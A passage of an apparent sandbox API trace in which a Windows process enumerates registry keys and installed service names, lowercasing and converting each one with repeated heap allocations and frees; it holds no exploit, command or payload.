BaseAddress=0x21f2eb0) returned 1 [0242.002] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0242.002] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.003] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.003] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0242.003] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.004] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0242.004] RegCloseKey (hKey=0xc4) returned 0x0 [0242.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1c40, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.004] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0242.004] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.004] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1c40, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1c40, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.005] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.005] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0242.005] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.006] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0242.006] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.006] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.007] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.007] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0242.007] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0242.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0242.008] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.008] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0242.008] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, 